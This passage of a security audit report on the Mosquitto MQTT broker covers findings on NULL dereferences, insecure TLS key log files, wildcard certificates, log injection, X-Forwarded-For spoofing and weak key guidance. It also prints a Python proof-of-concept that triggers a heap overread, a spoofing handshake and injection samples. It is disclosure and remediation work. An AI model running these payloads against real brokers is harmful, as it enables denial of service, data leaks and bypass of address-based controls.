When parsing the `roles` array of a Dynamic Security JSON configuration file, the Dynamic Security plugin does not ensure that the values of the `textname` and `textdescription` fields are strings before passing their cJSON `valuestring` field to the `mosquitto_strdup` function (figure 9.1). If either value is another type, such as a number, `valuestring` will be `NULL`, causing a `NULL` pointer dereference and a crash when accessed by `mosquitto_strdup`, which does not perform a `NULL` check of its argument.

```
280     /* Text name */
281     jtmp = cJSON_GetObjectItem(j_role, "textname");
282     if(jtmp != NULL){
283           role->text_name = mosquitto_strdup(jtmp->valuestring);
284           if(role->text_name == NULL){
285                 mosquitto_free(role);
286                 continue;
287           }
288     }
289
290     /* Text description */
291     jtmp = cJSON_GetObjectItem(j_role, "textdescription");
292     if(jtmp != NULL){
293           role->text_description = mosquitto_strdup(jtmp->valuestring);
294           if(role->text_description == NULL){
295                 mosquitto_free(role->text_name);
296                 mosquitto_free(role);
297                 continue;
298           }
299     }
```

Figure 9.1: The `jtmp->valuestring` field may be NULL when given to `mosquitto_strdup`. (`plugins/dynamic-security/roles.c#280–299`)

```
{
	"roles": [{
		"rolename":  "admin",
		"textname":  2
	}]
}
```

Figure 9.2: The Dynamic Security configuration file triggers a NULL pointer dereference when the cJSON `valuestring` of the `textname` field is accessed.

```
{
	"roles": [{
		"rolename":  "admin",
		"textdescription":  2
	}]
}
```

Figure 9.3: The Dynamic Security configuration file triggers a NULL pointer dereference when the cJSON `valuestring` of the `textdescription` field is accessed.

Exploit Scenario

A Mosquitto broker administrator inadvertently specifies a non-string value for the `textname` or `textdescription` fields of a role in a Dynamic Security configuration file. A segmentation fault occurs when the plugin attempts to parse the file, giving the administrator no information as to how to resolve the issue and denying service to all clients and bridges that depend on the broker.

Recommendations

Short term, use the `cJSON_IsString` function to ensure that the values of `textname` and `textdescription` are strings before accessing `valuestring`. Consider adding a `NULL` check in `mosquitto_strdup`.

10. Broker creates world-readable TLS key log files

Severity: **High**	Difficulty: **High**
Type: Data Exposure	Finding ID: TOB-MOSQ-CR-10
Target: `src/net.c`	

Description

The Mosquitto broker's `--tls-keylog` command-line argument allows broker operators to log TLS key material to a file for debugging purposes.

When creating the key log file with `fopen`, the `tls_keylog_callback` function does not set a file mode creation mask (via the `umask(2)` system call) to set secure file permissions (e.g., only readable and writable by the current user).

```c
static void tls_keylog_callback(const SSL *ssl, const char *line)
{
	FILE *fptr;

	UNUSED(ssl);

	if(db.tls_keylog){
		fptr = fopen(db.tls_keylog, "at");
		if(fptr){
			fprintf(fptr, "%s\n", line);
			fclose(fptr);
		}
	}
}
```

Figure 10.1: The `tls_keylog_callback` function does not set a secure file mode creation mask. (`src/net.c#329–342`)

As a result, the broker logs TLS key material to a world-readable file on default configurations of most Linux distributions, which use a mask value of `022`.

```
$ ./src/mosquitto -c ./mosquitto.tls.conf --tls-keylog keylog
1678804656: mosquitto version 2.1.0 starting
1678804656: Config loaded from ./mosquitto.tls.conf.
1678804656: Bridge support available.
1678804656: Persistence support available.
1678804656: TLS support available.
1678804656: TLS-PSK support available.
1678804656: Websockets support available.
1678804656: Opening ipv4 listen socket on port 8883.
```

```
1678804656: Opening ipv6 listen socket on port 8883.
1678804656: TLS key logging to 'keylog' enabled for all listeners.
1678804656: TLS key logging is for DEBUGGING only.
1678804656: mosquitto version 2.1.0 running

...

^C1678804559: mosquitto version 2.1.0 terminating
$ ls -la keylog
-rw-rw-r-- 1 ubuntu ubuntu 938 Mar 14 14:35 keylog
```

Figure 10.2: Mosquitto's `--tls-keylog` feature creates a world-readable key log file on Ubuntu 22.04.

Exploit Scenario
To troubleshoot connection issues, a Mosquitto broker administrator uses the `--tls-keylog` argument to log TLS key material to a file. A sufficiently privileged attacker on the system captures traffic on the network interface(s) used by the broker but, due to the broker's use of TLS, is unable to read the plaintext MQTT content. However, the attacker can read the directory in which the TLS key log file was created. The attacker exploits the default world-readable permissions of this file to access the TLS key material and decrypt the recorded traffic.

Recommendations
Short term, have the `tls_keylog_callback` function call `umask` with a mask of `077` before calling `fopen` to create the key log file. This will ensure that only the user running the broker can read or write to the file.

Long term, use the File created without restricting permissions CodeQL query to identify additional instances of this issue.

11. Broker trusts existing TLS key log files

Severity: **High**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-MOSQ-CR-11
Target: `src/net.c`	

Description

The Mosquitto broker's `--tls-keylog` command-line argument allows broker operators to log TLS key material to a file for debugging purposes.

Before writing to the key log file, the `tls_keylog_callback` function does not ensure that one of the following conditions is met: A) the file does not already exist, or B) if the file exists, it is a regular file with secure permissions (owned by the user running Mosquitto, with read/write bits set for only that user). Consequently, if an attacker can predict the name of the key log file before it is created and write to its parent directory, they can create the file in advance and access its contents when the broker begins logging TLS key material.

```
329    static void tls_keylog_callback(const SSL *ssl, const char *line)
330    {
331            FILE *fptr;
332
333            UNUSED(ssl);
334
335            if(db.tls_keylog){
336                    fptr = fopen(db.tls_keylog, "at");
337                    if(fptr){
338                            fprintf(fptr, "%s\n", line);
339                            fclose(fptr);
340                    }
341            }
342    }
```

Figure 11.1: The `tls_keylog_callback` function does not check for file existence and permissions. (`src/net.c#329–342`)

Exploit Scenario

To troubleshoot connection issues, a Mosquitto broker administrator wants to use the `--tls-keylog` argument to log TLS key material to a file. A sufficiently privileged attacker on the system captures traffic on the network interface(s) used by the broker but, due to the broker's use of TLS, is unable to read the plaintext MQTT content.

However, the attacker knows what the name of the key log file will be and can write to the directory in which it will be created. The attacker creates this file, and when the broker is run with the `--tls-keylog` argument, it begins logging key material to the file without noticing that the attacker has read access to it. The attacker accesses the TLS key material and decrypts the recorded traffic.

Recommendations

Short term, have the `tls_keylog_callback` function atomically check (see TOB-MOSQ-CR-7) whether the key log file already exists and create it if it does not. If it already exists, the function should ensure that it is a regular file (i.e., not a symlink or other special type of file), that it is owned by the user running Mosquitto, and that only the owner has read and write permissions for it.

12. libmosquitto accepts wildcard certificates for public suffixes

Severity: **Medium**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-MOSQ-CR-12
Target: `lib/tls_mosq.c`	

Description

libmosquitto's `mosquitto__cmp_hostname_wildcard` function compares a remote hostname against the domain name identifier in its TLS certificate, taking wildcards into account.

As currently implemented, the function accepts identifiers of the form *.tld, where .tld may be a public suffix, such as .com or .net. For example, libmosquitto accepts a certificate presenting as *.com for a connection to example.com (but not for a connection to www.example.com).

Tools such as cURL (figure 12.1) and major web browsers, such as those based on Chromium, do not permit certificates to use such identifiers. While RFC 6125 does not explicitly prohibit them, it mentions that ambiguities in the specification like this one "might introduce exploitable differences in identity checking behavior among client implementations." Furthermore, RFC's errata directly mentions the security risks associated with allowing wildcards for public suffixes:

> *If actual TLS/SSL implementations (e.g. web browsers) were to make valid matches as shown above, then someone could ostensibly obtain a cert (c.f. diginotar) for one of them and then go and MITM large swaths of domain name space.*

```
curl: (60) SSL: certificate subject name '*.com' does not match target host name
'example.com'
```

Figure 12.1: The `curl` command prints an error when the target server presents a wildcard certificate for all domains under a public suffix.

Exploit Scenario

In error or as a result of malicious compromise, a certificate authority issues a certificate valid for *.tld. An attacker obtains the certificate and tries to use it to impersonate arbitrary domain names under .tld. While web browsers and other TLS client software can protect their users against Man-in-the-Middle (MitM) attacks by rejecting the overly broad wildcard identifier, clients using libmosquitto accept the certificate and allow the connection. As a result, the attacker can perform MitM attacks against libmosquitto-based clients.

Recommendations

Short term, use the public suffix list to reject wildcard identifiers that attempt to match all domains under a public suffix, as major web browsers do. Alternatively, consider implementing `libcurl`'s approach of requiring at least two occurrences of a period (`.`) in a wildcard identifier, which results in wide wildcards for public suffixes (e.g., *.com) and private suffixes (e.g., *.myprivatetld), both of which are rejected.

Long term, add checks for this edge case to libmosquitto's TLS verification test suite.

13. Username characters not validated when taken from client certificate

Severity: **Medium**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-MOSQ-CR-13
Target: `src/handle_connect.c`	

Description

An MQTT username that the Mosquitto broker receives in a `CONNECT` packet is validated using the `mosquitto_validate_utf8` function, called from the `packet__read_string` function. `mosquitto_validate_utf8` verifies that the string it receives is valid UTF-8 and does not contain control characters, such as newlines and carriage returns.

As an alternative to reading the username from the `CONNECT` packet, the `use_identity_as_username` and `use_subject_as_username` configuration options allow the broker to determine the username from the certificate presented by the client (either the Common Name [CN] or the Subject fields). When one of these options is set, the function responsible for assigning the username is `get_username_from_cert`, which does not call `mosquitto_validate_utf8` to validate the username. As a result, the username specified in a client certificate may contain characters that would not otherwise be allowed.

Exploit Scenario

A broker is configured with the `use_identity_as_username` option. An attacker obtains a client certificate, signed by the broker's trusted certificate authority, with a CN field that contains arbitrary text that they wish to inject into the broker's logs. The CN is prefixed with a newline byte (0x0a)—for example, `\n<any timestamp>: log injection`.

When the attacker uses this certificate to connect to the broker, the attacker's chosen text is inserted on its own lines in the broker's logging destination, misleading the broker operator or obfuscating other malicious activity in the logs.

```
1678832163: New client connected from 127.0.0.1:57940 as
<any timestamp>: log injection (p4, c1, k60, u'
<any timestamp>: log injection').
1678832163: No will message specified.
1678832163: Client
<any timestamp>: log injection negotiated TLSv1.3 cipher TLS_AES_256_GCM_SHA384
1678832163: Sending CONNACK to
<any timestamp>: log injection (0, 0)
<any timestamp>: log injection
```

Figure 13.1: The attacker can inject arbitrary lines into the broker's logs.

Recommendations

Short term, have the `get_username_from_cert` function call `mosquitto_validate_utf8` on the contents of the certificate's CN and Subject fields when `use_identity_as_username` or `use_subject_as_username` is set.

14. Improper parsing of X-Forwarded-For header	
Severity: **High**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-MOSQ-CR-14
Target: `src/http_serv.c`	

Description

For listeners that use the WebSocket protocol, Mosquitto reads and parses the `X-Forwarded-For` HTTP header, if supplied, to determine the originating IP address of a client (figure 14.1). Specifically, Mosquitto treats the header value as a comma-separated list of addresses and returns the first entry in the list as the client address. This entry is then assigned to the `address` field of the client's `mosquitto` structure (figure 14.2).

This handling of the `X-Forwarded-For` header is incorrect for two reasons:

1. The broker always reads this header, even if there are no proxies in front of it. When there are no proxies, the value of the header is controlled entirely by the client, so the client can trivially spoof its IP address by providing its own `X-Forwarded-For` header. There is currently no way to inform the broker that there are no proxies in use and that the header should be ignored.

2. Proxies typically append, rather than overwrite, the trustworthy address of the client to the untrustworthy value of `X-Forwarded-For` that the client supplies. As a result, the first value in the list cannot be trusted, and using it allows the client to spoof its IP address.

```
206    }else if(!strncasecmp(http_headers[i].name, "X-Forwarded-For", 
http_headers[i].name_len)){
207          forwarded_for = http_headers[i].value;
208          forwarded_for_len = first_entry(forwarded_for, 
(int)http_headers[i].value_len);
209
210          mosquitto__FREE(mosq->address);
211          mosq->address = mosquitto__malloc((size_t)forwarded_for_len+1);
212          if(!mosq->address){
213                 return MOSQ_ERR_NOMEM;
214          }
215          strncpy(mosq->address, forwarded_for, (size_t)forwarded_for_len);
216          mosq->address[forwarded_for_len] = '\0';
```

Figure 14.1: The value of the `X-Forwarded-For` header is passed to the `first_entry` function. (`src/http_serv.c#206–216`)

```c
static int first_entry(const char *s, int len)
{
        int i;

        for(i=0; i<len; i++){
              if(s[i] == '\0' || s[i] == ','){
                    return i;
              }
        }
        return len;
}
```

Figure 14.2: The `first_entry` function extracts the first entry in the comma-separated `X-Forwarded-For` list. (`src/http_serv.c#64–74`)

Exploit Scenario

A Mosquitto broker is configured to use the WebSocket protocol but is not situated behind any proxies. An attacker connects to the broker and sends a WebSocket handshake with an `X-Forwarded-For` header containing an IP address they wish to spoof (e.g., `8.8.8.8`).

```
GET /mqtt HTTP/1.1
Host: localhost
X-Forwarded-For: 8.8.8.8
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 0x0b8Xy0PXHwERd7XOkvnQ==
Sec-WebSocket-Protocol: mqtt
Sec-WebSocket-Version: 13
```

Figure 14.3: The WebSocket handshake with the `X-Forwarded-For` header can be used to spoof the client's IP address.

The attacker then sends an MQTT `CONNECT` packet over the WebSocket stream. Once this happens, the broker begins reporting the address of the attacker as `8.8.8.8` (figure 14.4), and the attacker can bypass any IP address–based restrictions imposed by the broker or its plugins.

```
1678839485: New connection from 127.0.0.1:44116 on port 8080.
1678839485: New client connected from 8.8.8.8:44116 as foo (p4, c0, k60).
```

Figure 14.4: The broker begins reporting the spoofed IP address.

Recommendations

Short term, disable parsing of the `X-Forwarded-For` header by default. Add a configuration option to enable it that also specifies the number of proxies between clients and the broker. Once the number of proxies is known, determine the correct client IP address in the `X-Forwarded-For` list by counting backwards from the end of the list by the configured number of proxies minus one. For example, with one proxy, the last address in the list is the client's. With two proxies, the second from the last is the client's, and so on.

References

- MDN Web Docs: `X-Forwarded-For`

15. Logger registers with DLT when DLT is not a log destination

Severity: **Informational**	Difficulty: **High**
Type: Undefined Behavior	Finding ID: TOB-MOSQ-CR-15
Target: `src/logging.c`	

Description

When built with the `WITH_DLT` macro, Mosquitto supports the Diagnostic Log and Trace (DLT) service as a log destination. At startup, Mosquitto checks for the presence of a named pipe (FIFO) at `/tmp/dlt` (figure 15.1) and, if found, uses the DLT API to register itself, which involves writing to `/tmp/dlt` (figure 15.2). These actions occur even when DLT is not configured as a log destination or not present on the system.

```
    memset(&statbuf, 0, sizeof(statbuf));
    if(stat("/tmp/dlt", &statbuf) == 0){
            if(S_ISFIFO(statbuf.st_mode)){
                    fd = open("/tmp/dlt", O_NONBLOCK | O_WRONLY);
                    if(fd != -1){
                            dlt_allowed = true;
                            close(fd);
                    }
            }
```

Figure 15.1: Mosquitto checks for a named pipe at `/tmp/dlt`. (`src/logging.c#84–92`)

```
#ifdef WITH_DLT
        dlt_fifo_check();
        if(dlt_allowed){
                DLT_REGISTER_APP("MQTT","mosquitto log");
                dlt_register_context(&dltContext, "MQTT", "mosquitto DLT 
context");
        }
```

Figure 15.2: Mosquitto registers with DLT. (`src/logging.c#138–143`)

Mosquitto does not verify that the user configured DLT for logging and instead confirms only that `/tmp/dlt` exists and is a named pipe, so unexpected behavior may occur if the file is controlled by an attacker. As only nonsensitive registration metadata is written to the file unless DLT is set as a log destination, the severity of this issue is set to informational. It is possible to view the registration metadata written to the named pipe by reading from it before the broker exits.

```
$ tail -f /tmp/dlt | xxd
00000000: 4455 4801 0200 0000 4d51 5454 fc80 1b00  DUH.....MQTT....
00000010: 0d00 0000 6d6f 7371 7569 7474 6f20 6c6f  ....mosquitto lo
00000020: 6744 5548 0104 0000 004d 5154 544d 5154  gDUH.....MQTTMQT
00000030: 5400 0000 00fe fefc 801b 0015 0000 006d  T..............m
00000040: 6f73 7175 6974 746f 2044 4c54 2063 6f6e  osquitto DLT con
00000050: 7465 7874 4455 4801 0500 0000 4d51 5454  textDUH.....MQTT
00000060: 4d51 5454 fc80 1b00 4455 4801 0300 0000  MQTT....DUH.....
```

Figure 15.3: Reading from `/tmp/dlt`

Recommendations

Short term, have the `log__init` function access `/tmp/dlt` and register Mosquitto with DLT only when the user configures it as a log destination.

16. Documentation recommends insecure encryption practices for TLS private key

Severity: **Informational**	Difficulty: **Low**
Type: Cryptography	Finding ID: TOB-MOSQ-CR-16
Target: `https://mosquitto.org/man/mosquitto-tls-7.html`	

Description

The mosquitto-tls man page provides example `openssl` commands for generating TLS private keys and certificates. The commands given to generate client and server private keys use the `-des3` flag of `openssl`, causing the keys to be encrypted with the Triple DES (3DES) cipher (figure 16.1). 3DES is cryptographically inferior to more modern ciphers supported by OpenSSL for private key encryption, such as AES. NIST deprecated the use of 3DES for new applications in 2017 and for all applications by the end of 2023.

```
openssl genrsa -des3 -out server.key 2048
```

Figure 16.1: Mosquitto documentation suggesting a command that uses 3DES to encrypt a private key

The man page also provides a command to generate a private key with no encryption.

```
openssl genrsa -out server.key 2048
```

Figure 16.2: Mosquitto documentation suggesting a command that generates a private key without encryption

Recommendations

Short term, replace the `-des3` flag with `-aes256` in the commands to generate client and server private keys. To encourage secure key storage practices, remove the examples for generating unencrypted private keys.

Long term, review Mosquitto's documentation for outdated guidance that could lead to insecure practices.

References

- Transitioning the Use of Cryptographic Algorithms and Key Lengths

Summary of Recommendations

Eclipse Mosquitto is a work in progress with multiple planned iterations. Trail of Bits recommends that Eclipse address the findings detailed in this report and take the following additional steps prior to deployment:

- Resolve cryptographic weaknesses by increasing the number of iterations used by PBKDF2 (TOB-MOSQ-CR-1) and implementing true constant-time comparison of secrets (TOB-MOSQ-CR-2).
- Use `umask(2)` to address the systemic issue of sensitive files being created with insecure permissions (TOB-MOSQ-CR-3, TOB-MOSQ-CR-6, and TOB-MOSQ-CR-10).
    - The File created without restricting permissions CodeQL query can assist in identifying additional instances of this issue.
- Address the systemic issue of sensitive data being written to potentially untrusted files (TOB-MOSQ–CR-4, TOB-MOSQ-CR-7, and TOB-MOSQ-CR-11) by using secure temporary file creation functions (e.g., `mkstemp`), performing existence checks atomically, and validating file types and permissions.
- Expand continuous fuzzing coverage to include Dynamic Security configuration file loading and unloading (TOB-MOSQ-CR-8 and TOB-MOSQ-CR-9).
- Continuously fuzz an AddressSanitizer-enabled build of Mosquitto using the FUME MQTT fuzzing engine (TOB-MOSQ-CR-5).
- Align libmosquitto's handling of wildcard certificates for public suffixes (e.g., *.com) with the secure behavior adopted by `libcurl` and major web browsers (TOB-MOSQ-CR-12). Add this edge case to libmosquitto's test suite for TLS verification.
- Update the recommendations in the mosquitto-tls man page to use secure ciphers for TLS private keys (TOB-MOSQ-CR-16). Review other areas of Mosquitto's documentation for outdated and insecure guidance.
- Expand continuous fuzzing efforts to include libmosquitto-based clients, which currently receive much less coverage than the broker.

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories

Category	Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	**Description**
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	**Description**
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Maturity Categories

The following tables describe the code maturity categories and rating criteria used in this document.

Code Maturity Categories	
Category	Description
Arithmetic	The proper use of mathematical operations and semantics
Auditing	The use of event auditing and logging to support monitoring
Authentication / Access Controls	The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system
Complexity Management	The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions
Configuration	The configuration of system components in accordance with best practices
Cryptography and Key Management	The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution
Data Handling	The safe handling of user inputs and data processed by the system
Documentation	The presence of comprehensive and readable codebase documentation
Maintenance	The timely maintenance of system components to mitigate risk
Memory Safety and Error Handling	The presence of memory safety and robust error-handling mechanisms
Testing and Verification	The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage

Rating Criteria	
Rating	Description
Strong	No issues were found, and the system exceeds industry standards.
Satisfactory	Minor issues were found, but the system is compliant with best practices.
Moderate	Some issues that may affect system safety were found.

Weak	Many issues that affect system safety were found.
Missing	A required component is missing, significantly affecting system safety.
Not Applicable	The category is not applicable to this review.
Not Considered	The category was not considered in this review.
Further Investigation Required	Further investigation is required to reach a meaningful conclusion.

C. TOB-MOSQ-CR-5 Crash Report, PoC, and Hexdump

This appendix provides the AddressSanitizer crash report that uncovered finding TOB-MOSQ-CR-5, along with a proof of concept (PoC) and a hexdump of the Mosquitto persistence database that shows disclosed heap data.

```
=================================================================
==1889202==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000dda
at pc 0x7f782caf208f bp 0x7ffd263cdd90 sp 0x7ffd263cd538
READ of size 6400 at 0x603000000dda thread T0
    #0 0x7f782caf208e in __interceptor_fwrite
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1160
    #1 0x55ec92dd9809 in persist__chunk_client_write_v6
/home/ubuntu/mosquitto/src/persist_write_v5.c:79
    #2 0x55ec92dd7800 in persist__client_save
/home/ubuntu/mosquitto/src/persist_write.c:196
    #3 0x55ec92dd8e21 in persist__write_data
/home/ubuntu/mosquitto/src/persist_write.c:352
    #4 0x55ec92dafd3d in mosquitto_write_file ../common/misc_mosq.c:279
    #5 0x55ec92dd8abb in persist__backup
/home/ubuntu/mosquitto/src/persist_write.c:323
    #6 0x55ec92dae297 in mosquitto_main_loop /home/ubuntu/mosquitto/src/loop.c:217
    #7 0x55ec92d45c03 in main /home/ubuntu/mosquitto/src/mosquitto.c:460
    #8 0x7f782c2dbd8f in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
    #9 0x7f782c2dbe3f in __libc_start_main_impl ../csu/libc-start.c:392
    #10 0x55ec92d443e4 in _start (/home/ubuntu/mosquitto/src/mosquitto_asan+0x243e4)

0x603000000dda is located 0 bytes to the right of 26-byte region
[0x603000000dc0,0x603000000dda)
allocated by thread T0 here:
    #0 0x7f782cb66867 in __interceptor_malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55ec92daebf8 in mosquitto__malloc ../lib/memory_mosq.c:93
    #2 0x55ec92dc0db8 in packet__read_binary ../lib/packet_datatypes.c:105
    #3 0x55ec92dc1035 in packet__read_string ../lib/packet_datatypes.c:123
    #4 0x55ec92d98e21 in handle__connect
/home/ubuntu/mosquitto/src/handle_connect.c:856
    #5 0x55ec92dfd58e in handle__packet /home/ubuntu/mosquitto/src/read_handle.c:64
    #6 0x55ec92dc4d85 in packet__read ../lib/packet_mosq.c:565
    #7 0x55ec92db2428 in loop_handle_reads_writes
/home/ubuntu/mosquitto/src/mux_epoll.c:284
    #8 0x55ec92db1c5f in mux_epoll__handle
/home/ubuntu/mosquitto/src/mux_epoll.c:180
    #9 0x55ec92db0712 in mux__handle /home/ubuntu/mosquitto/src/mux.c:108
    #10 0x55ec92dae0fa in mosquitto_main_loop /home/ubuntu/mosquitto/src/loop.c:210
    #11 0x55ec92d45c03 in main /home/ubuntu/mosquitto/src/mosquitto.c:460
    #12 0x7f782c2dbd8f in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
```

```
SUMMARY: AddressSanitizer: heap-buffer-overflow
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1160
in __interceptor_fwrite
Shadow bytes around the buggy address:
  0x0c067fff8160: 00 05 fa fa fd fd fd fd fa fa 00 00 00 05 fa fa
  0x0c067fff8170: fd fd fd fd fa fa fd fd fd fa fa fa fd fd fd fa
  0x0c067fff8180: fa fa 00 00 00 04 fa fa fd fd fd fd fa fa 00 00
  0x0c067fff8190: 00 01 fa fa fd fd fd fd fa fa 00 00 00 01 fa fa
  0x0c067fff81a0: fd fd fd fd fa fa 00 00 03 fa fa fa fd fd fd fa
=>0x0c067fff81b0: fa fa fd fd fd fa fa fa 00 00 00[02]fa fa 00 00
  0x0c067fff81c0: 03 fa fa fa 00 00 00 02 fa fa fd fd fd fd fa fa
  0x0c067fff81d0: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1889202==ABORTING
```

Figure C.1: The AddressSanitizer report that uncovered the heap buffer overread issue described in finding TOB-MOSQ-CR-5

```
import socket

FIRST_PACKET = [0x10, 0x4f, 0x00, 0x06, 0x4d, 0x51, 0x49, 0x73, 0x64, 0x70, 0x03,
0xac,
                0xee, 0x09, 0x00, 0x04, 0x79, 0x79, 0x48, 0x69, 0x00, 0x0c, 0x71,
0x71,
                0x30, 0x4f, 0x6b, 0x77, 0x4e, 0x56, 0x6c, 0x70, 0x58, 0x49, 0x00,
0x12,
                0x64, 0x76, 0x39, 0x6f, 0x76, 0x54, 0x6c, 0x43, 0x6c, 0x59, 0x42,
0x37,
                0x5a, 0x71, 0x32, 0x4e, 0x37, 0x68, 0x00, 0x19, 0x6e, 0x37, 0x62,
0x4f,
                0x67, 0x74, 0x69, 0x38, 0x73, 0x6c, 0x38, 0x43, 0x6b, 0x56, 0x78,
0x50,
                0x6d, 0x6b, 0x32, 0x48, 0x62, 0x74, 0x45, 0x36, 0x53]

SECOND_PACKET = [0x10, 0x18, 0x00, 0x04, 0x4d, 0x51, 0x54, 0x54, 0x05, 0x00, 0xce,
0x9e,
                0x0a, 0x17, 0x01, 0x22, 0xc0, 0x7e, 0x27, 0x6f, 0xea, 0xd1, 0x01,
0x00,
                0x01, 0x42]

def main():
    (host, port) = ("127.0.0.1", 1883)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bytearray(FIRST_PACKET))
    s.close()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bytearray(SECOND_PACKET))
    s.close()

if __name__ == '__main__':
    main()
```

Figure C.2: The PoC Python script to reproduce the heap buffer overread issue in finding TOB-MOSQ-CR-5

```
00000000: 00b5 006d 6f73 7175 6974 746f 2064 6200  ...mosquitto db.
00000010: 0000 0000 0000 0600 0000 0100 0000 10e3  ................
00000020: 9094 d67e 3401 0000 0800 0000 0000 0000  ...~4...........
00000030: 0000 0200 0000 5be3 9094 d67e 3401 0000  ......[....~4...
00000040: 0000 0000 0000 0000 0000 1200 0000 0400  ................
00000050: 1900 0c07 5b01 0179 7948 696e 3762 4f67  ....[..yyHin7bOg
00000060: 7469 3873 6c38 436b 5678 506d 6b32 4862  ti8sl8CkVxPmk2Hb
00000070: 7445 3653 7171 304f 6b77 4e56 6c70 5849  tE6Sqq0OkwNVlpXI
00000080: 6476 396f 7654 6c43 6c59 4237 5a71 324e  dv9ovTlClYB7Zq2N
00000090: 3768 0000 0006 0000 0035 0000 0000 0000  7h.......5......
000000a0: 0000 ffff ffff 0000 0004 0000 0019 0000  ................
000000b0: 0000 7979 4869 6e37 624f 6774 6938 736c  ..yyHin7bOgti8sl
000000c0: 3843 6b56 7850 6d6b 3248 6274 4536 5300  8CkVxPmk2HbtE6S.
000000d0: 0000 0600 0019 1900 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0107 5b19 0000 0000 0042  ........[......B
000000f0: 6e37 624f 6774 6938 736c 3843 6b56 7850  n7bOgti8sl8CkVxP
00000100: 6d6b 3248 6274 4536 5300 6573 0000 0000  mk2HbtE6S.es....
00000110: 0000 0000 0000 0000 5100 0000 0000 0000  ........Q.......
00000120: 60a3 4c40 ca55 0000 2000 0000 0500 0000  `.L@.U.. .......
00000130: 0100 0000 0000 0000 10b4 4c40 ca55 0000  ..........L@.U..
00000140: b002 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 e11f 11a0 0000 0000  ................
```

```
00000160: 0000 0000 0000 0000 7100 0000 0000 0000  ........q.......
00000170: 6091 4c40 ca55 0000 609b 4c40 ca55 0000  `.L@.U..`.L@.U..
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 0000 0000 e29f 4c40 ca55 0000  ..........L@.U..
000001a0: 0500 0000 26ec f6a2 e098 4c40 ca55 0000  ....&.....L@.U..
000001b0: 0000 0000 0000 0000 e09d 4c40 ca55 0000  ..........L@.U..
000001c0: 0500 6279 7465 7300 0000 0000 0000 0000  ..bytes.........
000001d0: 0000 0000 0000 0000 4103 0000 0000 0000  ........A.......
000001e0: 0200 0000 ffff ffff 0000 0000 0000 0000  ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000200: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000210: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000220: 0000 0000 0000 0000 e8ff ff00 0000 0000  ................
00000230: 0300 0000 0000 0000 40a3 4c40 ca55 0000  ........@.L@.U..
00000240: d0a5 4c40 ca55 0000 109f 4c40 ca55 0000  ..L@.U....L@.U..
```

Figure C.3: A portion of the `mosquitto.db` hexdump that shows extraneous data from the heap after the PoC script is run

D. TOB-MOSQ-CR-8 Crash Reports

This appendix provides the AddressSanitizer crash reports that uncovered finding TOB-MOSQ-CR-8.

```
=================================================================
==866817==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000041a0 at
pc 0x7faa06399804 bp 0x7faa011ee140 sp 0x7faa011ee138
READ of size 8 at 0x6080000041a0 thread T2
    #0 0x7faa06399803 in dynsec_groups__find
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:83:3
